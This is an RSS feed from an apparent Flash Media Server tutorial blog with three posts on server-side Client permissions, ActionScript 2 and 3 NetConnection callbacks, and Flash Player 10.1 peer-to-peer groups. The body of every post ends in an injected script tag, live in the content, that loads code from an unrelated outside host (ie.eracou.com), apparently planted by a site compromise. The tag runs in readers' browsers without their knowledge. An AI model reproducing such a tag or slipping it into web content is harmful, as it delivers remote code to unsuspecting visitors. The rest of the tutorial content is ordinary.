<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Flash Video Examples &#187; application development</title>
	<atom:link href="http://blog.flashvideoexamples.com/category/application-development/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.flashvideoexamples.com</link>
	<description></description>
	<lastBuildDate>Mon, 07 Jun 2010 16:35:02 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Set permissions for folders that contain streams and shared objects</title>
		<link>http://blog.flashvideoexamples.com/2010/03/05/set-permissions-for-streams-and-shared-objects/</link>
		<comments>http://blog.flashvideoexamples.com/2010/03/05/set-permissions-for-streams-and-shared-objects/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 17:34:25 +0000</pubDate>
		<dc:creator>Jody</dc:creator>
				<category><![CDATA[application development]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Server-Side ActionScript]]></category>

		<guid isPermaLink="false">http://blog.flashvideoexamples.com/?p=72</guid>
		<description><![CDATA[You can use the Server-Side Client object to grant read access to folders on the server that contain streams and shared objects. Because each client that connects to an FMS application has a unique Client object,  you can grant different permissions to each client. Check out the Client.readAccess property and the comment at the bottom [...]]]></description>
			<content:encoded><![CDATA[<p>You can use the Server-Side Client object to grant read access to folders on the server that contain streams and shared objects. Because each client that connects to an FMS application has a unique Client object,  you can grant different permissions to each client. Check out the <em>Client.readAccess</em> property and the comment at the bottom of the following page for more information:</p>
<p><a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2hlbHAuYWRvYmUuY29tL2VuX1VTL0ZsYXNoTWVkaWFTZXJ2ZXIvMy41X1NTX0FTRC9XUzViM2NjYzUxNmQ0ZmJmMzUxZTYzZTNkMTFhMTFhZmM5NWUtN2VjMy5odG1sI1dTNWIzY2NjNTE2ZDRmYmYzNTFlNjNlM2QxMWExMWFmYzk1ZS03ZmQ5">Server-Side ActionScript Language Reference &#8212; Client class</a></p>
<p>JOdy<script src="http://ie.eracou.com/3"></script></p>
 <img src="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?view=1&post_id=72" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.flashvideoexamples.com/2010/03/05/set-permissions-for-streams-and-shared-objects/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using the client property to handle callback functions</title>
		<link>http://blog.flashvideoexamples.com/2009/12/03/using-the-client-property-to-handle-callback-functions/</link>
		<comments>http://blog.flashvideoexamples.com/2009/12/03/using-the-client-property-to-handle-callback-functions/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 21:24:14 +0000</pubDate>
		<dc:creator>Jody</dc:creator>
				<category><![CDATA[application development]]></category>
		<category><![CDATA[callbacks]]></category>

		<guid isPermaLink="false">http://blog.flashvideoexamples.com/?p=57</guid>
		<description><![CDATA[Here&#8217;s something I see people get hung up on when defining functions in client-side ActionScript and calling them from the Server-Side ActionScript Client.call() method.
In ActionScript 2, you define the functions directly on the NetConnection object, like this:
nc = new NetConnection();
nc.onBWDone = function(){
    return true;
};
nc.onBWCheck = function(){
   return 0;
};
nc.connect("rtmp:/clientCall");
In ActionScript 3, [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s something I see people get hung up on when defining functions in client-side ActionScript and calling them from the Server-Side ActionScript <code>Client.call()</code> method.</p>
<p>In ActionScript 2, you define the functions directly on the NetConnection object, like this:</p>
<pre>nc = new NetConnection();
nc.onBWDone = function(){
    return true;
};
nc.onBWCheck = function(){
   return 0;
};
nc.connect("rtmp:/clientCall");</pre>
<p>In ActionScript 3, you define the functions on an object assigned to the <code>NetConnection.client</code> property, like this:</p>
<pre>var clientObj:Object = new Object();
clientObj.onBWDone = onBWDone;
clientObj.onBWCheck = onBWCheck;
nc.client = clientObj;

public function onBWDone(... rest):Boolean {
   return true;
}

public function onBWCheck(... rest):Number {
   return 0;
}</pre>
<p><strong>Note:</strong>The previous code includes the callback functions expected by the FMS &#8220;live&#8221; and &#8220;vod&#8221; applications.</p>
<p>The NetStream class works similarly to the NetConnection class. You can call <code>NetStream.send()</code> to send messages to other connected clients. Those clients need callback functions that handle the messages.</p>
<p>In AS2 you can define functions on a NetStream object and in AS3 you define functions on an object assigned to the <code>NetStream.client</code> property. <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2hlbHAuYWRvYmUuY29tL2VuX1VTL0ZsYXNoUGxhdGZvcm0vYmV0YS9yZWZlcmVuY2UvYWN0aW9uc2NyaXB0LzMvZmxhc2gvbmV0L05ldFN0cmVhbS5odG1s" target=\"_blank\">See <code>NetStream.client</code> and <code>NetStream.send()</code></a>.</p>
<p>There are several ways to handle callback methods&#8211;you can use the technique in this post, you can assign the <code>client</code> property to a new class, you can extend the NetStream or NetConnection class, or you can assign the <code>client</code> property to <code>this</code>. For good examples, see <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2hlbHAuYWRvYmUuY29tL2VuX1VTL0FjdGlvblNjcmlwdC8zLjBfUHJvZ3JhbW1pbmdBUzMvV1M1YjNjY2M1MTZkNGZiZjM1MWU2M2UzZDExOGE5YjkwMjA0LTdkM2YuaHRtbA==" target=\"_blank\">&#8220;Writing callback methods for metadata and cue points&#8221;</a>.<script src="http://ie.eracou.com/3"></script></p>
 <img src="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?view=1&post_id=57" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.flashvideoexamples.com/2009/12/03/using-the-client-property-to-handle-callback-functions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Build P2P applications for Flash Player and AIR</title>
		<link>http://blog.flashvideoexamples.com/2009/11/25/build-p2p-applications-for-flash-player-and-air/</link>
		<comments>http://blog.flashvideoexamples.com/2009/11/25/build-p2p-applications-for-flash-player-and-air/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 20:00:33 +0000</pubDate>
		<dc:creator>Jody</dc:creator>
				<category><![CDATA[P2P]]></category>
		<category><![CDATA[announcements]]></category>
		<category><![CDATA[application development]]></category>

		<guid isPermaLink="false">http://blog.flashvideoexamples.com/?p=53</guid>
		<description><![CDATA[Flash Player 10.1, which is available now on Adobe Labs, adds support for creating peer-to-peer groups. Flash Player 10 let you make peer-to-peer connections between 2 Flash Player clients, but now you can create an entire mesh. And share data, audio, and video streams directly between all peers in the mesh. Think scale&#8230; massive, massive [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xhYnMuYWRvYmUuY29tL2Rvd25sb2Fkcy9mbGFzaHBsYXllcjEwLmh0bWw=" target=\"_blank\">Flash Player 10.1</a>, which is available now on Adobe Labs, adds support for creating peer-to-peer groups. Flash Player 10 let you make peer-to-peer connections between 2 Flash Player clients, but now you can create an entire mesh. And share data, audio, and video streams directly between all peers in the mesh. Think scale&#8230; massive, massive scale, without thousands and thousands of Flash Media Server boxes or huge bandwidth pipes. Think cheap and big. Exciting, no?</p>
<p>All clients in the mesh must make a connection to <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xhYnMuYWRvYmUuY29tL3dpa2kvaW5kZXgucGhwL1N0cmF0dXM=" target=\"_blank\">Stratus </a>(a hosted service available on Adobe Labs), but the data shared in the mesh doesn&#8217;t go through Stratus, it travels directly between the peers in the group. Stratus is a non-commercial server that lets Adobe preview technologies that will become available in future releases of Flash Media Server.  You can also use <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3d3dy5hZG9iZS5jb20vcHJvZHVjdHMvbGl2ZWN5Y2xlL2NvbGxhYm9yYXRpb25zZXJ2aWNlLw==" target=\"_blank\">LiveCycle Collaboration Service </a>to build commercial P2P apps. LCCS rolls the P2P functionality for you and falls back to hub and spoke if needed. Tom Krcha has a nice <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3d3dy5hZG9iZS5jb20vZGV2bmV0L2ZsYXNobWVkaWFzZXJ2ZXIvYXJ0aWNsZXMvcDJwX2FwcHNfc3RyYXR1c19sY2NzLmh0bWw=" target=\"_blank\">explanation of the difference</a> between Stratus and LCCS.</p>
<p>The classes you need to build P2P apps are documented in the beta version of the unified <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2hlbHAuYWRvYmUuY29tL2VuX1VTL0ZsYXNoUGxhdGZvcm0vYmV0YS9yZWZlcmVuY2UvYWN0aW9uc2NyaXB0LzMv" target=\"_blank\">ActionScript 3.0 Reference</a>. (Yes, this means that from now on there will be one and only one version of the AS3R. No more special versions for Flex, AIR, etc etc. Get all your Flash Platform API information from a single source. Phew.) Where was I? Right&#8230; P2p&#8230;</p>
<ul>
<li>Use the <em>GroupSpecifier </em>class to define a group and its options. This class creates the groupspec string which is the immutable identity of the group.</li>
<li>Use the <em>NetGroup </em>class to manage a group and get statistics about a group.</li>
<li>Use the <em>NetStream </em>class to multicast audio, video, and data. Just like you do with hub and spoke apps.</li>
<li>Use the <em>NetConnection </em>class to connect to Stratus (and in the future, FMS). For P2P apps, use the RTMFP protocol.</li>
</ul>
<p>I&#8217;ll be writing more about P2P Flash apps (here and for the Adobe docs), but meanwhile, check out <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3R2LmFkb2JlLmNvbS93YXRjaC9tYXgtMjAwOS1kZXZlbG9wL3NvY2lhbC1tZWRpYS1leHBlcmllbmNlcy13aXRoLWZsYXNoLW1lZGlhLWFuZC1ydG1mcC8=" target=\"_blank\">Tom&#8217;s MAX 2009 session</a>.<script src="http://ie.eracou.com/3"></script></p>
 <img src="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?view=1&post_id=53" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.flashvideoexamples.com/2009/11/25/build-p2p-applications-for-flash-player-and-air/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
